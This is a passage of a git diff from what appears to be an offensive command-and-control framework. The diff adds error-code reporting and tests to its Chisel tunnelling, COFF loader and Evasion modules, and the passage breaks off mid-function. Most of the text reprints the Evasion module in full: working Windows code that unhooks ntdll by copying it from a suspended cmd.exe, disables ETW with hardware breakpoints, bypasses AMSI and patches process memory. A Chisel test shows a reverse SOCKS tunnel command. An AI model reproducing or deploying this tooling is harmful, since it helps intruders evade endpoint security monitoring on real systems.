result="Chisel stoped.\n"; + } c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_pid(pid); c2RetMessage.set_cmd("stop"); - result="Chisel stoped.\n"; c2RetMessage.set_returnvalue(result); return 0; } @@ -226,6 +241,7 @@ int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage) else { result += "CreateProcess failed."; + c2RetMessage.set_errorCode(ERROR_CREATE_PROCESS); } #endif @@ -238,6 +254,17 @@ int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage) return 0; } +int Chisel::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + int Chisel::followUp(const C2Message &c2RetMessage) { int pid = c2RetMessage.pid(); diff --git a/modules/Chisel/Chisel.hpp b/modules/Chisel/Chisel.hpp index ef71fe3..4dedbae 100644 --- a/modules/Chisel/Chisel.hpp +++ b/modules/Chisel/Chisel.hpp @@ -15,6 +15,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); int followUp(const C2Message &c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_WINDOWS; diff --git a/modules/Chisel/tests/testsChisel.cpp b/modules/Chisel/tests/testsChisel.cpp index f67e27c..112a3cb 100644 --- a/modules/Chisel/tests/testsChisel.cpp +++ b/modules/Chisel/tests/testsChisel.cpp @@ -39,6 +39,21 @@ int main() ok &= expect(message.pid() == 0, "non-numeric pid should map to zero with current parser"); } + { + Chisel module; + C2Message message; + message.set_cmd("stop"); + message.set_pid(2147483647); + C2Message ret; + + ok &= expect(module.process(message, ret) == 0, "missing chisel pid should return through C2Message"); + ok &= expect(ret.errorCode() > 0, "missing chisel pid should set an error code"); + ok &= expect(ret.returnvalue().find("OpenProcess failed") != std::string::npos, "missing chisel pid should explain the failure"); + std::string errorMsg; + ok &= expect(module.errorCodeToMsg(ret, errorMsg) == 0, "missing chisel pid should map error text"); + ok &= expect(errorMsg == ret.returnvalue(), "missing chisel pid error text should come from returnvalue"); + } + { Chisel module; std::vector cmd = {"chisel", "missing.exe", "client", "host:8000", "R:socks"}; diff --git a/modules/CoffLoader/CoffLoader.cpp b/modules/CoffLoader/CoffLoader.cpp index 014c7cd..72bcc3a 100644 --- a/modules/CoffLoader/CoffLoader.cpp +++ b/modules/CoffLoader/CoffLoader.cpp @@ -25,6 +25,11 @@ using namespace std; constexpr std::string_view moduleName = "coffLoader"; constexpr unsigned long long moduleHash = djb2(moduleName); +namespace +{ + constexpr int ERROR_COFF_EXECUTION = 1; +} + #ifdef _WIN32 @@ -130,11 +135,26 @@ int CoffLoader::process(C2Message &c2Message, C2Message &c2RetMessage) std::string result = coffLoader(payload, functionName, args); c2RetMessage.set_instruction(c2RetMessage.instruction()); + if (result.find("Failed") != std::string::npos) + { + c2RetMessage.set_errorCode(ERROR_COFF_EXECUTION); + } c2RetMessage.set_returnvalue(result); return 0; } +int CoffLoader::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + std::string CoffLoader::coffLoader(std::string& payload, std::string& functionName, std::string& args) { @@ -193,4 +213,4 @@ std::string CoffLoader::coffLoader(std::string& payload, std::string& functionNa #endif return result; -} \ No newline at end of file +} diff --git a/modules/CoffLoader/CoffLoader.hpp b/modules/CoffLoader/CoffLoader.hpp index 78156d7..a1575c9 100644 --- a/modules/CoffLoader/CoffLoader.hpp +++ b/modules/CoffLoader/CoffLoader.hpp @@ -14,6 +14,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_WINDOWS; diff --git a/modules/CoffLoader/tests/testsCoffLoader.cpp b/modules/CoffLoader/tests/testsCoffLoader.cpp index bd6488a..5d072c3 100644 --- a/modules/CoffLoader/tests/testsCoffLoader.cpp +++ b/modules/CoffLoader/tests/testsCoffLoader.cpp @@ -35,5 +35,16 @@ int main() std::filesystem::remove(coff); } + { + CoffLoader module; + C2Message ret; + ret.set_errorCode(1); + ret.set_returnvalue("Failed to run/parse the COFF file\n"); + std::string errorMsg; + + ok &= expect(module.errorCodeToMsg(ret, errorMsg) == 0, "COFF execution failure should map error text"); + ok &= expect(errorMsg == ret.returnvalue(), "COFF execution error text should come from returnvalue"); + } + return ok ? 0 : 1; } diff --git a/modules/Evasion/Evasion.cpp b/modules/Evasion/Evasion.cpp index cf69df9..cd40990 100644 --- a/modules/Evasion/Evasion.cpp +++ b/modules/Evasion/Evasion.cpp @@ -1,865 +1,913 @@ -/* - credits: reenz0h (twitter: @SEKTOR7net) -*/ -#include "Evasion.hpp" - -#include -#include -#include -#include - +/* + credits: reenz0h (twitter: @SEKTOR7net) +*/ +#include "Evasion.hpp" + +#include +#include +#include +#include + #ifdef _WIN32 #include #include #include "hwbp.hpp" #include "structs.hpp" #endif - -#include "Common.hpp" - - -using namespace std; - -constexpr std::string_view moduleName = "evasion"; -constexpr unsigned long long moduleHash = djb2(moduleName); - - -#ifdef _WIN32 - -__declspec(dllexport) Evasion* A_EvasionConstructor() -{ - return new Evasion(); -} - -std::string hookChecker(const HMODULE hHookedDll, const LPVOID pMapping); - -static int UnhookDll(const HMODULE hHookedDll, const LPVOID pMapping); - -int disableETW(void); - -#else - -__attribute__((visibility("default"))) Evasion* EvasionConstructor() -{ - return new Evasion(); -} - -#endif - - -Evasion::Evasion() -#ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) -#else - : ModuleCmd("", moduleHash) -#endif -{ -} - -Evasion::~Evasion() -{ -} - -std::string Evasion::getInfo() -{ - std::string info; -#ifdef BUILD_TEAMSERVER - info += "evasion:\n"; - info += "exemple:\n"; - info += "- evasion CheckHooks (ntdll, kernelbase, kernel32)\n"; - info += "- evasion DisableETW\n"; - info += "- evasion Unhook (ntdll, kernelbase, kernel32)\n"; - info += "- evasion UnhookPerunsFart (ntdll)\n"; - info += "- evasion AmsiBypass\n"; - info += "- evasion Introspection moduleName\n"; - info += "- evasion ReadMemory 0x123456 20\n"; - info += "- evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90\n"; -#endif - return info; -} - - -#define CheckHooks "1" -#define DisableETW "2" -#define Unhook "3" -#define UnhookPerunsFart "4" -#define AmsiBypass "5" -#define Introspection "6" -#define ReadMemory "7" -#define PatchMemory "8" -#define RemotePatch "9" - - -int Evasion::init(std::vector &splitedCmd, C2Message &c2Message) -{ + +#include "Common.hpp" + + +using namespace std; + +constexpr std::string_view moduleName = "evasion"; +constexpr unsigned long long moduleHash = djb2(moduleName); + +namespace +{ + constexpr int ERROR_EVASION_EXECUTION = 1; +} + + +#ifdef _WIN32 + +__declspec(dllexport) Evasion* A_EvasionConstructor() +{ + return new Evasion(); +} + +std::string hookChecker(const HMODULE hHookedDll, const LPVOID pMapping); + +static int UnhookDll(const HMODULE hHookedDll, const LPVOID pMapping); + +int disableETW(void); + +#else + +__attribute__((visibility("default"))) Evasion* EvasionConstructor() +{ + return new Evasion(); +} + +#endif + + +Evasion::Evasion() +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif +{ +} + +Evasion::~Evasion() +{ +} + +std::string Evasion::getInfo() +{ + std::string info; +#ifdef BUILD_TEAMSERVER + info += "evasion:\n"; + info += "exemple:\n"; + info += "- evasion CheckHooks (ntdll, kernelbase, kernel32)\n"; + info += "- evasion DisableETW\n"; + info += "- evasion Unhook (ntdll, kernelbase, kernel32)\n"; + info += "- evasion UnhookPerunsFart (ntdll)\n"; + info += "- evasion AmsiBypass\n"; + info += "- evasion Introspection moduleName\n"; + info += "- evasion ReadMemory 0x123456 20\n"; + info += "- evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90\n"; +#endif + return info; +} + + +#define CheckHooks "1" +#define DisableETW "2" +#define Unhook "3" +#define UnhookPerunsFart "4" +#define AmsiBypass "5" +#define Introspection "6" +#define ReadMemory "7" +#define PatchMemory "8" +#define RemotePatch "9" + + +int Evasion::init(std::vector &splitedCmd, C2Message &c2Message) +{ #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) - if (splitedCmd.size() >= 2) - { - std::string cmd = splitedCmd[1]; - c2Message.set_instruction(splitedCmd[0]); - - if(cmd=="CheckHooks") - { - c2Message.set_cmd(CheckHooks); - } - else if(cmd=="DisableETW") - { - c2Message.set_cmd(DisableETW); - } - else if(cmd=="Unhook") - { - c2Message.set_cmd(Unhook); - } - else if(cmd=="UnhookPerunsFart") - { - c2Message.set_cmd(UnhookPerunsFart); - } - else if(cmd=="AmsiBypass") - { - c2Message.set_cmd(AmsiBypass); - } - else if(cmd=="Introspection") - { - c2Message.set_cmd(Introspection); - if (splitedCmd.size() >= 3) - { - c2Message.set_data(splitedCmd[2]); - } - } - else if(cmd=="ReadMemory") - { - c2Message.set_cmd(ReadMemory); - if (splitedCmd.size() >= 4) - { - c2Message.set_data(splitedCmd[2]); - c2Message.set_args(splitedCmd[3]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else if(cmd=="PatchMemory") - { - c2Message.set_cmd(PatchMemory); - if (splitedCmd.size() >= 4) - { - c2Message.set_data(splitedCmd[2]); - c2Message.set_args(splitedCmd[3]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else if(cmd=="RemotePatch") - { - c2Message.set_cmd(RemotePatch); - } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } -#endif - return 0; -} - - -int Evasion::process(C2Message &c2Message, C2Message &c2RetMessage) -{ - std::string result; - const std::string cmd = c2Message.cmd(); - -#ifdef _WIN32 - - if(cmd==CheckHooks) - { - checkHooks(result); - } - else if(cmd==DisableETW) - { - disableETW(); - result+="success"; - } - else if(cmd==Unhook) - { - unhookFreshCopy(result); - } - else if(cmd==UnhookPerunsFart) - { - unhookPerunsFart(result); - } - else if(cmd==AmsiBypass) - { - amsiBypass(result); - } - else if(cmd==Introspection) - { - std::string data = c2Message.data(); - introspection(result, data); - } - else if(cmd==ReadMemory) - { - std::string data = c2Message.data(); - std::string args = c2Message.args(); - - int size=0; - try - { - size = atoi(args.c_str()); - } - catch (const std::invalid_argument& ia) - { - return 0; - } - - readMemory(result, data, size); - } - else if(cmd==PatchMemory) - { - std::string data = c2Message.data(); - std::string args = c2Message.args(); - patchMemory(result, data, args); - } - else if(cmd==RemotePatch) - { - remotePatch(result); - } - -#endif - - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); - c2RetMessage.set_returnvalue(result); - - return 0; -} - -#ifdef _WIN32 - - -int Evasion::checkHooks(std::string& result) -{ - std::string dllBasePath="c:\\windows\\system32\\"; - std::vector dllNames; - dllNames.push_back("kernel32.dll"); - dllNames.push_back("ntdll.dll"); - dllNames.push_back("kernelbase.dll"); - - for(int i=0; i dllNames; - dllNames.push_back("kernel32.dll"); - dllNames.push_back("ntdll.dll"); - dllNames.push_back("kernelbase.dll"); - - for(int i=0; i 0; i--) - { - if (!memcmp(pMem + i, pattern, 9)) - { - offset = i + 6; - // printf("Last syscall byte found at 0x%p\n", pMem + offset); - break; - } - } - - return offset; -} - - -static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pCache) -{ - // UnhookNtdll() finds fresh "syscall table" of ntdll.dll from suspended process and copies over onto hooked one - DWORD oldprotect = 0; - PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pCache; - PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pCache + pImgDOSHead->e_lfanew); - - // find .text section - for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); - - if (!strcmp((char *)pImgSectionHead->Name, ".text")) - { - // prepare ntdll.dll memory region for write permissions. - VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - PAGE_EXECUTE_READWRITE, - &oldprotect); - if (!oldprotect) - { - // RWX failed! - return -1; - } - - // copy clean "syscall table" into ntdll memory - DWORD SC_start = findFirstSyscall((char *) pCache, pImgSectionHead->Misc.VirtualSize); - DWORD SC_end = findLastSysCall((char *) pCache, pImgSectionHead->Misc.VirtualSize); - - if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) - { - DWORD SC_size = SC_end - SC_start; - printf("dst (in ntdll): %p\n", ((DWORD_PTR) hNtdll + SC_start)); - printf("src (in cache): %p\n", ((DWORD_PTR) pCache + SC_start)); - printf("size: %i\n", SC_size); - memcpy( (LPVOID)((DWORD_PTR) hNtdll + SC_start), - (LPVOID)((DWORD_PTR) pCache + + SC_start), - SC_size); - } - - // restore original protection settings of ntdll - VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - oldprotect, - &oldprotect); - if (!oldprotect) - { - // it failed - return -1; - } - return 0; - } - } - - // failed? .text not found! - return -1; -} - - -int Evasion::unhookPerunsFart(std::string& result) -{ - STARTUPINFOA si = { 0 }; - PROCESS_INFORMATION pi = { 0 }; - BOOL success = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); - if (success == FALSE) - { - result+="Failed to CreateProcess."; - return -1; - } - - // get the size of ntdll module in memory - char * pNtdllAddr = (char *) GetModuleHandle("ntdll.dll"); - IMAGE_DOS_HEADER * pDosHdr = (IMAGE_DOS_HEADER *) pNtdllAddr; - IMAGE_NT_HEADERS * pNTHdr = (IMAGE_NT_HEADERS *) (pNtdllAddr + pDosHdr->e_lfanew); - IMAGE_OPTIONAL_HEADER * pOptionalHdr = &pNTHdr->OptionalHeader; - - SIZE_T ntdll_size = pOptionalHdr->SizeOfImage; - - // allocate local buffer to hold temporary copy of clean ntdll from remote process - LPVOID pCache = VirtualAlloc(NULL, ntdll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - SIZE_T bytesRead = 0; - if (!ReadProcessMemory(pi.hProcess, pNtdllAddr, pCache, ntdll_size, &bytesRead)) - { - result+="Failed to CreateProcess."; - return -1; - } - - TerminateProcess(pi.hProcess, 0); - - // remove hooks - unsigned char sNtdll[] = "ntdll.dll"; - int ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pCache); - if(ret!=0) - result+="Failed"; - else - result+="Success"; - - return 0; -} - - -int SetHWBP(HANDLE thrd, DWORD64 addr, BOOL setBP) -{ - CONTEXT ctx; - ZeroMemory(&ctx, sizeof(ctx)); - -#if defined(_M_X64) || defined(_M_IX86) - - ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; - - if (!GetThreadContext(thrd, &ctx)) - return -1; - - if (setBP) - { - ctx.Dr0 = addr; - ctx.Dr7 |= (1ULL << 0); // enable local DR0 - ctx.Dr7 &= ~(3ULL << 16); // execution breakpoint - } - else - { - ctx.Dr0 = 0; - ctx.Dr7 &= ~(1ULL << 0); - } - - if (!SetThreadContext(thrd, &ctx)) - return -1; - -#elif defined(_M_ARM64) - - ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; - - if (!GetThreadContext(thrd, &ctx)) - return -1; - - if (setBP) - { - /* - ARM64 hardware breakpoint 0: - Bvr[0] = breakpoint address - Bcr[0] = breakpoint control - - DBGBCR bits: - bit 0 = enable - bits 2:1 = privilege mode control - bits 8:5 = BAS, byte address select - - For A64 instruction address match, BAS should be 0b1111. - */ - - ctx.Bvr[0] = addr; - ctx.Bcr[0] = - (1u << 0) | // E: enable - (2u << 1) | // PMC: EL0/user-mode - (0xFu << 5); // BAS: A64 instruction match - } - else - { - ctx.Bvr[0] = 0; - ctx.Bcr[0] = 0; - } - - if (!SetThreadContext(thrd, &ctx)) - return -1; - -#else - #error Unsupported architecture -#endif - - return 0; -} - - + if (splitedCmd.size() >= 2) + { + std::string cmd = splitedCmd[1]; + c2Message.set_instruction(splitedCmd[0]); + + if(cmd=="CheckHooks") + { + c2Message.set_cmd(CheckHooks); + } + else if(cmd=="DisableETW") + { + c2Message.set_cmd(DisableETW); + } + else if(cmd=="Unhook") + { + c2Message.set_cmd(Unhook); + } + else if(cmd=="UnhookPerunsFart") + { + c2Message.set_cmd(UnhookPerunsFart); + } + else if(cmd=="AmsiBypass") + { + c2Message.set_cmd(AmsiBypass); + } + else if(cmd=="Introspection") + { + c2Message.set_cmd(Introspection); + if (splitedCmd.size() >= 3) + { + c2Message.set_data(splitedCmd[2]); + } + } + else if(cmd=="ReadMemory") + { + c2Message.set_cmd(ReadMemory); + if (splitedCmd.size() >= 4) + { + c2Message.set_data(splitedCmd[2]); + c2Message.set_args(splitedCmd[3]); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else if(cmd=="PatchMemory") + { + c2Message.set_cmd(PatchMemory); + if (splitedCmd.size() >= 4) + { + c2Message.set_data(splitedCmd[2]); + c2Message.set_args(splitedCmd[3]); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else if(cmd=="RemotePatch") + { + c2Message.set_cmd(RemotePatch); + } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } +#endif + return 0; +} + + +int Evasion::process(C2Message &c2Message, C2Message &c2RetMessage) +{ + std::string result; + const std::string cmd = c2Message.cmd(); + int errorCode = 0; + +#ifdef _WIN32 + + if(cmd==CheckHooks) + { + if (checkHooks(result) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==DisableETW) + { + disableETW(); + result+="success"; + } + else if(cmd==Unhook) + { + if (unhookFreshCopy(result) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==UnhookPerunsFart) + { + if (unhookPerunsFart(result) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==AmsiBypass) + { + if (amsiBypass(result) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==Introspection) + { + std::string data = c2Message.data(); + if (introspection(result, data) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==ReadMemory) + { + std::string data = c2Message.data(); + std::string args = c2Message.args(); + + int size=0; + try + { + size = atoi(args.c_str()); + } + catch (const std::invalid_argument& ia) + { + return 0; + } + + if (readMemory(result, data, size) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==PatchMemory) + { + std::string data = c2Message.data(); + std::string args = c2Message.args(); + if (patchMemory(result, data, args) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + else if(cmd==RemotePatch) + { + if (remotePatch(result) != 0) + { + errorCode = ERROR_EVASION_EXECUTION; + } + } + +#endif + + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(""); + if (errorCode > 0 + || result.find("Error") != std::string::npos + || result.find("Failed") != std::string::npos + || result.find("Could not") != std::string::npos) + { + c2RetMessage.set_errorCode(ERROR_EVASION_EXECUTION); + } + c2RetMessage.set_returnvalue(result); + + return 0; +} + +int Evasion::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + +#ifdef _WIN32 + + +int Evasion::checkHooks(std::string& result) +{ + std::string dllBasePath="c:\\windows\\system32\\"; + std::vector dllNames; + dllNames.push_back("kernel32.dll"); + dllNames.push_back("ntdll.dll"); + dllNames.push_back("kernelbase.dll"); + + for(int i=0; i dllNames; + dllNames.push_back("kernel32.dll"); + dllNames.push_back("ntdll.dll"); + dllNames.push_back("kernelbase.dll"); + + for(int i=0; i 0; i--) + { + if (!memcmp(pMem + i, pattern, 9)) + { + offset = i + 6; + // printf("Last syscall byte found at 0x%p\n", pMem + offset); + break; + } + } + + return offset; +} + + +static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pCache) +{ + // UnhookNtdll() finds fresh "syscall table" of ntdll.dll from suspended process and copies over onto hooked one + DWORD oldprotect = 0; + PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pCache; + PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pCache + pImgDOSHead->e_lfanew); + + // find .text section + for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); + + if (!strcmp((char *)pImgSectionHead->Name, ".text")) + { + // prepare ntdll.dll memory region for write permissions. + VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + PAGE_EXECUTE_READWRITE, + &oldprotect); + if (!oldprotect) + { + // RWX failed! + return -1; + } + + // copy clean "syscall table" into ntdll memory + DWORD SC_start = findFirstSyscall((char *) pCache, pImgSectionHead->Misc.VirtualSize); + DWORD SC_end = findLastSysCall((char *) pCache, pImgSectionHead->Misc.VirtualSize); + + if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) + { + DWORD SC_size = SC_end - SC_start; + printf("dst (in ntdll): %p\n", ((DWORD_PTR) hNtdll + SC_start)); + printf("src (in cache): %p\n", ((DWORD_PTR) pCache + SC_start)); + printf("size: %i\n", SC_size); + memcpy( (LPVOID)((DWORD_PTR) hNtdll + SC_start), + (LPVOID)((DWORD_PTR) pCache + + SC_start), + SC_size); + } + + // restore original protection settings of ntdll + VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + oldprotect, + &oldprotect); + if (!oldprotect) + { + // it failed + return -1; + } + return 0; + } + } + + // failed? .text not found! + return -1; +} + + +int Evasion::unhookPerunsFart(std::string& result) +{ + STARTUPINFOA si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + BOOL success = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); + if (success == FALSE) + { + result+="Failed to CreateProcess."; + return -1; + } + + // get the size of ntdll module in memory + char * pNtdllAddr = (char *) GetModuleHandle("ntdll.dll"); + IMAGE_DOS_HEADER * pDosHdr = (IMAGE_DOS_HEADER *) pNtdllAddr; + IMAGE_NT_HEADERS * pNTHdr = (IMAGE_NT_HEADERS *) (pNtdllAddr + pDosHdr->e_lfanew); + IMAGE_OPTIONAL_HEADER * pOptionalHdr = &pNTHdr->OptionalHeader; + + SIZE_T ntdll_size = pOptionalHdr->SizeOfImage; + + // allocate local buffer to hold temporary copy of clean ntdll from remote process + LPVOID pCache = VirtualAlloc(NULL, ntdll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + SIZE_T bytesRead = 0; + if (!ReadProcessMemory(pi.hProcess, pNtdllAddr, pCache, ntdll_size, &bytesRead)) + { + result+="Failed to CreateProcess."; + return -1; + } + + TerminateProcess(pi.hProcess, 0); + + // remove hooks + unsigned char sNtdll[] = "ntdll.dll"; + int ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pCache); + if(ret!=0) + result+="Failed"; + else + result+="Success"; + + return 0; +} + + +int SetHWBP(HANDLE thrd, DWORD64 addr, BOOL setBP) +{ + CONTEXT ctx; + ZeroMemory(&ctx, sizeof(ctx)); + +#if defined(_M_X64) || defined(_M_IX86) + + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + if (!GetThreadContext(thrd, &ctx)) + return -1; + + if (setBP) + { + ctx.Dr0 = addr; + ctx.Dr7 |= (1ULL << 0); // enable local DR0 + ctx.Dr7 &= ~(3ULL << 16); // execution breakpoint + } + else + { + ctx.Dr0 = 0; + ctx.Dr7 &= ~(1ULL << 0); + } + + if (!SetThreadContext(thrd, &ctx)) + return -1; + +#elif defined(_M_ARM64) + + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + if (!GetThreadContext(thrd, &ctx)) + return -1; + + if (setBP) + { + /* + ARM64 hardware breakpoint 0: + Bvr[0] = breakpoint address + Bcr[0] = breakpoint control + + DBGBCR bits: + bit 0 = enable + bits 2:1 = privilege mode control + bits 8:5 = BAS, byte address select + + For A64 instruction address match, BAS should be 0b1111. + */ + + ctx.Bvr[0] = addr; + ctx.Bcr[0] = + (1u << 0) | // E: enable + (2u << 1) | // PMC: EL0/user-mode + (0xFu << 5); // BAS: A64 instruction match + } + else + { + ctx.Bvr[0] = 0; + ctx.Bcr[0] = 0; + } + + if (!SetThreadContext(thrd, &ctx)) + return -1; + +#else + #error Unsupported architecture +#endif + + return 0; +} + + LONG WINAPI handlerETW(EXCEPTION_POINTERS* ExceptionInfo) { if (EXCEPTION_CODE(ExceptionInfo) != HWBP_EXCEPTION_CODE) return EXCEPTION_CONTINUE_SEARCH; - - BYTE* baseAddress = (BYTE*)GetProcAddress( - GetModuleHandleA("ntdll.dll"), - "EtwEventWrite" - ); - - if (!baseAddress) - return EXCEPTION_CONTINUE_SEARCH; - -#if defined(_M_X64) - + + BYTE* baseAddress = (BYTE*)GetProcAddress( + GetModuleHandleA("ntdll.dll"), + "EtwEventWrite" + ); + + if (!baseAddress) + return EXCEPTION_CONTINUE_SEARCH; + +#if defined(_M_X64) + if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { - printf("[!] Exception (%p)! Params:\n", - ExceptionInfo->ExceptionRecord->ExceptionAddress); - - printf("(1): %#llx | ", ExceptionInfo->ContextRecord->Rcx); - printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx); - printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8); - printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9); - printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp); - - printf("EtwEventWrite called!\n"); - - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF - - return EXCEPTION_CONTINUE_EXECUTION; - } - -#elif defined(_M_IX86) - + printf("[!] Exception (%p)! Params:\n", + ExceptionInfo->ExceptionRecord->ExceptionAddress); + + printf("(1): %#llx | ", ExceptionInfo->ContextRecord->Rcx); + printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx); + printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8); + printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9); + printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp); + + printf("EtwEventWrite called!\n"); + + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF + + return EXCEPTION_CONTINUE_EXECUTION; + } + +#elif defined(_M_IX86) + if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { - printf("[!] Exception (%p)! Params:\n", - ExceptionInfo->ExceptionRecord->ExceptionAddress); - - DWORD esp = ExceptionInfo->ContextRecord->Esp; - - DWORD param1 = *(DWORD*)(esp + 4); - DWORD param2 = *(DWORD*)(esp + 8); - DWORD param3 = *(DWORD*)(esp + 12); - DWORD param4 = *(DWORD*)(esp + 16); - - printf("(1): %#lx | ", (unsigned long)param1); - printf("(2): %#lx | ", (unsigned long)param2); - printf("(3): %#lx | ", (unsigned long)param3); - printf("(4): %#lx | ", (unsigned long)param4); - printf("ESP = %#lx\n", (unsigned long)esp); - - printf("EtwEventWrite called!\n"); - - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF - - return EXCEPTION_CONTINUE_EXECUTION; - } - -#elif defined(_M_ARM64) - + printf("[!] Exception (%p)! Params:\n", + ExceptionInfo->ExceptionRecord->ExceptionAddress); + + DWORD esp = ExceptionInfo->ContextRecord->Esp; + + DWORD param1 = *(DWORD*)(esp + 4); + DWORD param2 = *(DWORD*)(esp + 8); + DWORD param3 = *(DWORD*)(esp + 12); + DWORD param4 = *(DWORD*)(esp + 16); + + printf("(1): %#lx | ", (unsigned long)param1); + printf("(2): %#lx | ", (unsigned long)param2); + printf("(3): %#lx | ", (unsigned long)param3); + printf("(4): %#lx | ", (unsigned long)param4); + printf("ESP = %#lx\n", (unsigned long)esp); + + printf("EtwEventWrite called!\n"); + + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF + + return EXCEPTION_CONTINUE_EXECUTION; + } + +#elif defined(_M_ARM64) + if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { - printf("[!] Exception (%p)! Params:\n", - 